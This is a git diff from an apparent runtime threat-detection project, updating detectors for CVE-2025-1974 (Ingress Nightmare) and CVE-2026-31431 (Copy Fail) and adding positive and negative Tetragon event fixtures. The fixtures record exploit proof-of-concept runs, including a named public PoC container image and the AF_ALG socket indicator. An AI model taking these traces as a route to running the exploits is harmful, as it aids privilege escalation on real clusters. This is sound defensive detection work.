"inum": 4026533522, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2055251, - "process_credentials": { - "uid": 101, - "gid": 82, - "euid": 101, - "egid": 82, - "suid": 101, - "sgid": 82, - "fsuid": 101, - "fsgid": 82, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "security_mmap_file", - "args": [ - { - "file_arg": { - "mount": "", - "path": "/tmp/nginx/client-body/0000000002 (deleted)", - "flags": "", - "permission": "-rw-------" - }, - "label": "" - }, - { - "uint_arg": 5, - "label": "" - }, - { - "uint_arg": 2, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "file-monitoring", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "cs-master-node", - "time": "2025-04-29T11:27:19.484544474Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } -*/ diff --git a/event-processor/detector/wasm/CS_RT_CVE_2025_1974/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_CVE_2025_1974/testdata/negative_benign_path.json new file mode 100644 index 00000000..4a606be6 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CVE_2025_1974/testdata/negative_benign_path.json @@ -0,0 +1,34 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 2082536, + "binary": "/usr/bin/nginx", + "arguments": "-c /etc/nginx/nginx.conf -t" + }, + "function_name": "security_mmap_file", + "args": [ + { + "file_arg": { + "path": "/var/log/nginx/access.log" + } + }, + { + "uint_arg": "1" + } + ] + }, + "node_name": "test-node", + "time": "2025-04-29T11:27:19.395558820Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CVE_2025_1974/testdata/positive_ingress_nightmare.json b/event-processor/detector/wasm/CS_RT_CVE_2025_1974/testdata/positive_ingress_nightmare.json new file mode 100644 index 00000000..fad0ae78 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CVE_2025_1974/testdata/positive_ingress_nightmare.json @@ -0,0 +1,271 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZToyMDQ2MjI5Mjk5MjY5MzY5NzoyMDgyNTM2", + "pid": 2082536, + "uid": 101, + "cwd": "/etc/nginx", + "binary": "/usr/bin/nginx", + "arguments": "-c /tmp/nginx/nginx-cfg1787549034 -t", + "flags": "execve clone", + "start_time": "2025-04-29T11:27:19.395558820Z", + "auid": 4294967295, + "pod": { + "namespace": "ingress-nginx", + "name": "ingress-nginx-controller-56748c4f7c-nfsq8", + "container": { + "id": "containerd://60c397c08e0c4dc29b6623f864451415e6b9999cac34608572514e94f514a98b", + "name": "controller", + "image": { + "id": "registry.k8s.io/ingress-nginx/controller@sha256:9724476b928967173d501040631b23ba07f47073999e80e34b120e8db5f234d5", + "name": "sha256:11b916a025f028a5868d51d66773e876910636a1c261e919d72864dbb9bfc860" + }, + "start_time": "2025-04-29T11:12:32Z", + "pid": 730, + "maybe_exec_probe": false + }, + "pod_labels": { + "app.kubernetes.io/component": "controller", + "app.kubernetes.io/instance": "ingress-nginx", + "app.kubernetes.io/name": "ingress-nginx", + "app.kubernetes.io/part-of": "ingress-nginx", + "app.kubernetes.io/version": "1.12.0-beta.0", + "pod-template-hash": "56748c4f7c" + }, + "workload": "ingress-nginx-controller", + "workload_kind": "Deployment" + }, + "docker": "60c397c08e0c4dc29b6623f86445141", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToyMDQ2MTQwNjE3MDAyMDM3NToyMDU1MjUx", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533517, + "is_host": false + }, + "ipc": { + "inum": 4026533518, + "is_host": false + }, + "mnt": { + "inum": 4026533520, + "is_host": false + }, + "pid": { + "inum": 4026533521, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533521, + "is_host": false + }, + "net": { + "inum": 4026533119, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533522, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2082536, + "process_credentials": { + "uid": 101, + "gid": 82, + "euid": 101, + "egid": 82, + "suid": 101, + "sgid": 82, + "fsuid": 101, + "fsgid": 82, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZToyMDQ2MTQwNjE3MDAyMDM3NToyMDU1MjUx", + "pid": 2055251, + "uid": 101, + "cwd": "/etc/nginx", + "binary": "/nginx-ingress-controller", + "arguments": "--election-id=ingress-nginx-leader --controller-class=k8s.io/ingress-nginx --ingress-class=nginx --configmap=ingress-nginx/ingress-nginx-controller --validating-webhook=:8443 --validating-webhook-certificate=/usr/local/certificates/cert --validating-webhook-key=/usr/local/certificates/key", + "flags": "execve clone", + "start_time": "2025-04-29T11:12:32.572886816Z", + "auid": 4294967295, + "pod": { + "namespace": "ingress-nginx", + "name": "ingress-nginx-controller-56748c4f7c-nfsq8", + "container": { + "id": "containerd://60c397c08e0c4dc29b6623f864451415e6b9999cac34608572514e94f514a98b", + "name": "controller", + "image": { + "id": "registry.k8s.io/ingress-nginx/controller@sha256:9724476b928967173d501040631b23ba07f47073999e80e34b120e8db5f234d5", + "name": "sha256:11b916a025f028a5868d51d66773e876910636a1c261e919d72864dbb9bfc860" + }, + "start_time": "2025-04-29T11:12:32Z", + "pid": 7, + "maybe_exec_probe": false + }, + "pod_labels": { + "app.kubernetes.io/component": "controller", + "app.kubernetes.io/instance": "ingress-nginx", + "app.kubernetes.io/name": "ingress-nginx", + "app.kubernetes.io/part-of": "ingress-nginx", + "app.kubernetes.io/version": "1.12.0-beta.0", + "pod-template-hash": "56748c4f7c" + }, + "workload": "ingress-nginx-controller", + "workload_kind": "Deployment" + }, + "docker": "60c397c08e0c4dc29b6623f86445141", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToyMDQ2MTQwNjE2NDA5NDAwMToyMDU1MjI3", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533517, + "is_host": false + }, + "ipc": { + "inum": 4026533518, + "is_host": false + }, + "mnt": { + "inum": 4026533520, + "is_host": false + }, + "pid": { + "inum": 4026533521, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533521, + "is_host": false + }, + "net": { + "inum": 4026533119, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533522, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2055251, + "process_credentials": { + "uid": 101, + "gid": 82, + "euid": 101, + "egid": 82, + "suid": 101, + "sgid": 82, + "fsuid": 101, + "fsgid": 82, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "security_mmap_file", + "args": [ + { + "file_arg": { + "mount": "", + "path": "/tmp/nginx/client-body/0000000002 (deleted)", + "flags": "", + "permission": "-rw-------" + }, + "label": "" + }, + { + "uint_arg": 5, + "label": "" + }, + { + "uint_arg": 2, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "file-monitoring", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "test-master-node", + "time": "2025-04-29T11:27:19.484544474Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_CVE_2025_1974", + "severity": "HIGH", + "reason_contains": "Ingress Nightmare", + "tactics": [ + "TA0001", + "TA0002", + "TA0008" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CVE_2026_31431/main.go b/event-processor/detector/wasm/CS_RT_CVE_2026_31431/main.go index f5671be8..56072995 100644 --- a/event-processor/detector/wasm/CS_RT_CVE_2026_31431/main.go +++ b/event-processor/detector/wasm/CS_RT_CVE_2026_31431/main.go @@ -13,11 +13,10 @@ import ( const ( ID = "CS_RT_CVE_2026_31431" Name = "Copy Fail vulnerability" - Description = "The detector detects if the AF_ALG network socket was created, which may indicate an attempt to exploit vulnerability CVE-2026-31431." + Description = "The detector detects if the AF_ALG network socket was created, which may indicate an attempt to exploit vulnerability CVE-2026-31431 (Copy Fail)." Version = 1 Author = "Runtime Radar Team" - - License = "Apache License 2.0" + License = "Apache License 2.0" ) const ( @@ -25,6 +24,11 @@ const ( AF_ALG = 38 ) +const ( + KprobeCopyFailNoArgs = "Detected that the `%s` socket was created by the `%s` process, which may indicate an attempt to exploit vulnerability CVE-2026-31431 (CopyFail)" + KprobeCopyFailDefault = "Detected that the `%s` socket was created by the `%s` process, which was started using the `%s` arguments. This may indicate an attempt to exploit vulnerability CVE-2026-31431 (CopyFail)." +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -43,8 +47,21 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1068", + "T1611", + "T1055", + }, + }, + } +) + +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -52,12 +69,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -91,7 +109,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe - + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() if function != "security_socket_create" { @@ -106,8 +125,14 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe socketFamily := args[0].GetIntArg() - // Trigger on AF_ALG socket creation + // In order to exploit the vulnerability specific network sockets should be created. if socketFamily == AF_ALG { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeCopyFailNoArgs, "AF_ALG", binary) + } else { + resp.Reason = fmt.Sprintf(KprobeCopyFailDefault, "AF_ALG", binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -120,296 +145,3 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDozMDE0NDI1MTg3NDc3NDc0OjE3ODA4MzI=", - "pid": 1780832, - "uid": 0, - "cwd": "/", - "binary": "/bin/copyfail", - "arguments": "", - "flags": "execve rootcwd clone inInitTree", - "start_time": "2026-05-06T12:48:22.187586619Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "copy-fail-poc-7b69b8cb65-kbqmh", - "container": { - "id": "containerd://eff8f2497170de2bbfd2a4c9c01c9223d5b3c8b9157462c4822e51a7760bc084", - "name": "copy-fail-poc", - "image": { - "id": "ghcr.io/percivalll/copy-fail-cve-2026-31431-kubernetes-poc@sha256:b28d157b1034f7412611606852b62bd15c108d49b86f12fc143ae3edc9403358", - "name": "ghcr.io/percivalll/copy-fail-cve-2026-31431-kubernetes-poc:latest" - }, - "start_time": "2026-05-06T12:48:22Z", - "pid": 7, - "maybe_exec_probe": false - }, - "pod_labels": { - "app.kubernetes.io/name": "copy-fail-poc", - "app.kubernetes.io/part-of": "cve-2026-31431", - "pod-template-hash": "7b69b8cb65" - }, - "workload": "copy-fail-poc", - "workload_kind": "Deployment" - }, - "docker": "eff8f2497170de2bbfd2a4c9c01c922", - "parent_exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDozMDE0NDI1MTg2MzM2MzU1OjE3ODA4MTk=", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533896, - "is_host": false - }, - "ipc": { - "inum": 4026533897, - "is_host": false - }, - "mnt": { - "inum": 4026533899, - "is_host": false - }, - "pid": { - "inum": 4026533900, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533900, - "is_host": false - }, - "net": { - "inum": 4026533795, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533901, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1780832, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null, - "in_init_tree": true - }, - "parent": { - "exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDozMDE0NDI1MTg2MzM2MzU1OjE3ODA4MTk=", - "pid": 1780819, - "uid": 0, - "cwd": "/", - "binary": "/bin/sh", - "arguments": "-c \"/bin/copyfail && sleep 365d\"", - "flags": "execve rootcwd clone inInitTree", - "start_time": "2026-05-06T12:48:22.186445771Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "copy-fail-poc-7b69b8cb65-kbqmh", - "container": { - "id": "containerd://eff8f2497170de2bbfd2a4c9c01c9223d5b3c8b9157462c4822e51a7760bc084", - "name": "copy-fail-poc", - "image": { - "id": "ghcr.io/percivalll/copy-fail-cve-2026-31431-kubernetes-poc@sha256:b28d157b1034f7412611606852b62bd15c108d49b86f12fc143ae3edc9403358", - "name": "ghcr.io/percivalll/copy-fail-cve-2026-31431-kubernetes-poc:latest" - }, - "start_time": "2026-05-06T12:48:22Z", - "pid": 1, - "maybe_exec_probe": false - }, - "pod_labels": { - "app.kubernetes.io/name": "copy-fail-poc", - "app.kubernetes.io/part-of": "cve-2026-31431", - "pod-template-hash": "7b69b8cb65" - }, - "workload": "copy-fail-poc", - "workload_kind": "Deployment" - }, - "docker": "eff8f2497170de2bbfd2a4c9c01c922", - "parent_exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDozMDE0NDI0MDY3NTA0Njk4OjE3ODA3Mzc=", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533896, - "is_host": false - }, - "ipc": { - "inum": 4026533897, - "is_host": false - }, - "mnt": { - "inum": 4026533899, - "is_host": false - }, - "pid": { - "inum": 4026533900, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533900, - "is_host": false - }, - "net": { - "inum": 4026533795, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533901, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1780819, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null, - "in_init_tree": true - }, - "function_name": "security_socket_create", - "args": [ - { - "int_arg": 38, - "label": "Family" - }, - { - "int_arg": 5, - "label": "Type" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "listen-socket", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "cs-master-node", - "time": "2026-05-06T12:48:31.181791290Z", - "aggregation_info": null, - "cluster_name": "" -} -*/ diff --git a/event-processor/detector/wasm/CS_RT_CVE_2026_31431/testdata/negative_benign_socket.json b/event-processor/detector/wasm/CS_RT_CVE_2026_31431/testdata/negative_benign_socket.json new file mode 100644 index 00000000..80a01514 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CVE_2026_31431/testdata/negative_benign_socket.json @@ -0,0 +1,248 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRjcy11YnVudHUtMjA6NzUzNTE4Njk1MjA1NDEzOjE3OTc0MzM=", + "pid": 1797433, + "uid": 1000, + "cwd": "/home/user", + "binary": "/usr/bin/curl", + "arguments": "https://example.com", + "flags": "execve", + "start_time": "2026-05-28T09:27:58.246487933Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "web-pod", + "container": { + "id": "containerd://11da27461add9a07b3041b583932b9912c180e5b33caf97f40cfeea45da96ec0", + "name": "web", + "image": { + "id": "docker.io/library/ubuntu@sha256:c3c69b1fdbd29d27ab93699497a73f2b41bcf612f4316c02c3a5922d0a720690", + "name": "docker.io/library/ubuntu:20.04" + }, + "start_time": "2026-05-28T07:15:32Z", + "pid": 38, + "maybe_exec_probe": false, + "security_context": { + "privileged": false + } + }, + "pod_labels": { + "app": "web" + }, + "workload": "web-pod", + "workload_kind": "Pod", + "pod_annotations": {} + }, + "docker": "11da27461add9a07b3041b583932b99", + "parent_exec_id": "cHRjcy11YnVudHUtMjA6NzUzNTE4NjkzNTQyNTM0OjE3OTc0MzI=", + "refcnt": 1, + "cap": { + "permitted": [], + "effective": [], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534074, + "is_host": false + }, + "ipc": { + "inum": 4026534075, + "is_host": false + }, + "mnt": { + "inum": 4026534077, + "is_host": false + }, + "pid": { + "inum": 4026534078, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534078, + "is_host": false + }, + "net": { + "inum": 4026533259, + "is_host": false + }, + "time": null, + "time_for_children": null, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1797433, + "process_credentials": { + "uid": 1000, + "gid": 1000, + "euid": 1000, + "egid": 1000, + "suid": 1000, + "sgid": 1000, + "fsuid": 1000, + "fsgid": 1000, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null, + "in_init_tree": false + }, + "parent": { + "exec_id": "cHRjcy11YnVudHUtMjA6NzUzNTE4NjkzNTQyNTM0OjE3OTc0MzI=", + "pid": 1797432, + "uid": 1000, + "cwd": "/home/user", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve clone", + "start_time": "2026-05-28T09:27:58.244823834Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "web-pod", + "container": { + "id": "containerd://11da27461add9a07b3041b583932b9912c180e5b33caf97f40cfeea45da96ec0", + "name": "web", + "image": { + "id": "docker.io/library/ubuntu@sha256:c3c69b1fdbd29d27ab93699497a73f2b41bcf612f4316c02c3a5922d0a720690", + "name": "docker.io/library/ubuntu:20.04" + }, + "start_time": "2026-05-28T07:15:32Z", + "pid": 37, + "maybe_exec_probe": false, + "security_context": { + "privileged": false + } + }, + "pod_labels": { + "app": "web" + }, + "workload": "web-pod", + "workload_kind": "Pod", + "pod_annotations": {} + }, + "docker": "11da27461add9a07b3041b583932b99", + "parent_exec_id": "cHRjcy11YnVudHUtMjA6NzUzNDMwNjQxMzUzMzU5OjE3OTQ3MjU=", + "refcnt": 0, + "cap": { + "permitted": [], + "effective": [], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534074, + "is_host": false + }, + "ipc": { + "inum": 4026534075, + "is_host": false + }, + "mnt": { + "inum": 4026534077, + "is_host": false + }, + "pid": { + "inum": 4026534078, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534078, + "is_host": false + }, + "net": { + "inum": 4026533259, + "is_host": false + }, + "time": null, + "time_for_children": null, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1797432, + "process_credentials": { + "uid": 1000, + "gid": 1000, + "euid": 1000, + "egid": 1000, + "suid": 1000, + "sgid": 1000, + "fsuid": 1000, + "fsgid": 1000, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null, + "in_init_tree": false + }, + "function_name": "security_socket_create", + "args": [ + { + "int_arg": 2, + "label": "Family" + }, + { + "int_arg": 1, + "label": "Type" + }, + { + "int_arg": 6, + "label": "Protocol" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "socket", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [], + "ancestors": [] + }, + "node_name": "test-node", + "time": "2026-05-28T09:27:58.640033144Z", + "aggregation_info": null, + "cluster_name": "", + "node_labels": { + "beta.kubernetes.io/arch": "amd64", + "beta.kubernetes.io/os": "linux", + "kubernetes.io/arch": "amd64", + "kubernetes.io/hostname": "test-node", + "kubernetes.io/os": "linux", + "node-role.kubernetes.io/control-plane": "", + "node.kubernetes.io/exclude-from-external-load-balancers": "" + } + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CVE_2026_31431/testdata/positive_copyfail.json b/event-processor/detector/wasm/CS_RT_CVE_2026_31431/testdata/positive_copyfail.json new file mode 100644 index 00000000..a0ce6a48 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CVE_2026_31431/testdata/positive_copyfail.json @@ -0,0 +1,267 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRjcy1jZW50b3MtMTA6NzY2OTc2NzEzOTU3Mjg2OjM1MTYxNw==", + "pid": 351617, + "uid": 1000, + "cwd": "/work/v12-pocs/fragnesia", + "binary": "/work/v12-pocs/fragnesia/fragnesia", + "arguments": "", + "flags": "execve", + "start_time": "2026-05-28T13:12:09.189618857Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "pagecache-poc-lab", + "container": { + "id": "containerd://e73fba46e93f19245473e37e085d80e802c435479ac75483157560ddd5a57d6a", + "name": "lab", + "image": { + "id": "cs-service-node:443/pagecache-poc-lab@sha256:c3c69b1fdbd29d27ab93699497a73f2b41bcf612f4316c02c3a5922d0a720690", + "name": "cs-service-node:443/pagecache-poc-lab:local" + }, + "start_time": "2026-05-28T13:01:39Z", + "pid": 38, + "maybe_exec_probe": false, + "security_context": { + "privileged": false + } + }, + "pod_labels": { + "app": "pagecache-poc-lab" + }, + "workload": "pagecache-poc-lab", + "workload_kind": "Pod", + "pod_annotations": {} + }, + "docker": "e73fba46e93f19245473e37e085d80e", + "parent_exec_id": "cHRjcy1jZW50b3MtMTA6NzY2OTc2NzA5NTE5Njk1OjM1MTYxNg==", + "refcnt": 1, + "cap": { + "permitted": [], + "effective": [], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534087, + "is_host": false + }, + "ipc": { + "inum": 4026534088, + "is_host": false + }, + "mnt": { + "inum": 4026534090, + "is_host": false + }, + "pid": { + "inum": 4026534091, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534091, + "is_host": false + }, + "net": { + "inum": 4026533865, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534092, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 351617, + "process_credentials": { + "uid": 1000, + "gid": 1000, + "euid": 1000, + "egid": 1000, + "suid": 1000, + "sgid": 1000, + "fsuid": 1000, + "fsgid": 1000, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null, + "in_init_tree": false + }, + "parent": { + "exec_id": "cHRjcy1jZW50b3MtMTA6NzY2OTc2NzA5NTE5Njk1OjM1MTYxNg==", + "pid": 351616, + "uid": 1000, + "cwd": "/work/v12-pocs/fragnesia", + "binary": "/work/v12-pocs/fragnesia/fragnesia", + "arguments": "", + "flags": "execve clone", + "start_time": "2026-05-28T13:12:09.185181893Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "pagecache-poc-lab", + "container": { + "id": "containerd://e73fba46e93f19245473e37e085d80e802c435479ac75483157560ddd5a57d6a", + "name": "lab", + "image": { + "id": "cs-service-node:443/pagecache-poc-lab@sha256:c3c69b1fdbd29d27ab93699497a73f2b41bcf612f4316c02c3a5922d0a720690", + "name": "cs-service-node:443/pagecache-poc-lab:local" + }, + "start_time": "2026-05-28T13:01:39Z", + "pid": 37, + "maybe_exec_probe": false, + "security_context": { + "privileged": false + } + }, + "pod_labels": { + "app": "pagecache-poc-lab" + }, + "workload": "pagecache-poc-lab", + "workload_kind": "Pod", + "pod_annotations": {} + }, + "docker": "e73fba46e93f19245473e37e085d80e", + "parent_exec_id": "cHRjcy1jZW50b3MtMTA6NzY2NTUyMDIwNzQzMzU0OjMzNzQzNQ==", + "refcnt": 0, + "cap": { + "permitted": [], + "effective": [], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534087, + "is_host": false + }, + "ipc": { + "inum": 4026534088, + "is_host": false + }, + "mnt": { + "inum": 4026534090, + "is_host": false + }, + "pid": { + "inum": 4026534091, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534091, + "is_host": false + }, + "net": { + "inum": 4026533865, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534092, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 351616, + "process_credentials": { + "uid": 1000, + "gid": 1000, + "euid": 1000, + "egid": 1000, + "suid": 1000, + "sgid": 1000, + "fsuid": 1000, + "fsgid": 1000, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null, + "in_init_tree": false + }, + "function_name": "security_socket_create", + "args": [ + { + "int_arg": 38, + "label": "Family" + }, + { + "int_arg": 5, + "label": "Type" + }, + { + "int_arg": 0, + "label": "Protocol" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "socket", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [], + "ancestors": [] + }, + "node_name": "test-node", + "time": "2026-05-28T13:12:09.290799252Z", + "aggregation_info": null, + "cluster_name": "", + "node_labels": { + "beta.kubernetes.io/arch": "amd64", + "beta.kubernetes.io/os": "linux", + "kubernetes.io/arch": "amd64", + "kubernetes.io/hostname": "test-node", + "kubernetes.io/os": "linux", + "node-role.kubernetes.io/control-plane": "", + "node.kubernetes.io/exclude-from-external-load-balancers": "" + } + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_CVE_2026_31431", + "severity": "HIGH", + "reason_contains": "CVE-2026-31431", + "tactics": [ + "TA0004" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git 